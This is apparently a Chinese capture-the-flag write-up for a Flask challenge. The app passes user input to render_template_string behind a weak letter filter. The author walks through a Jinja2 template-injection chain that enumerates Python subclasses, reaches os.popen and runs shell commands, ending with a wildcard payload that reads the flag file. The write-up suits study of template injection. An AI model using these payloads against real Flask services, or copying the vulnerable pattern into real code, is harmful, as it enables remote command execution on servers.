打开题目,下载app.zip
打开app.py
from flask import Flask from flask import render_template_string,render_template app = Flask(__name__) @app.route('/hello/') def hello(name=None): return render_template('hello.html',name=name) @app.route('/hello/<name>') def hellodear(name): if "ge" in name: return render_template_string('hello %s' % name) elif "f" not in name: return render_template_string('hello %s' % name) else: return 'Nonononon'
发现要执行模板函数,要么<name>中有ge,要么<name>中没有f
ge:关于ge的方法我没有去做,也是没想到
f:首先查看下基类下的所有子类
<name>="".__class__.__bases__[0].__subclasses__()
拉到文本中查看,再配合脚本找到os._wrap_close的popen函数进行利用,找到在132
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}
cd ..;ls一下,发现flag
由于过滤了f,那么直接匹配符进行绕过,payload:
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat *lag').read()}}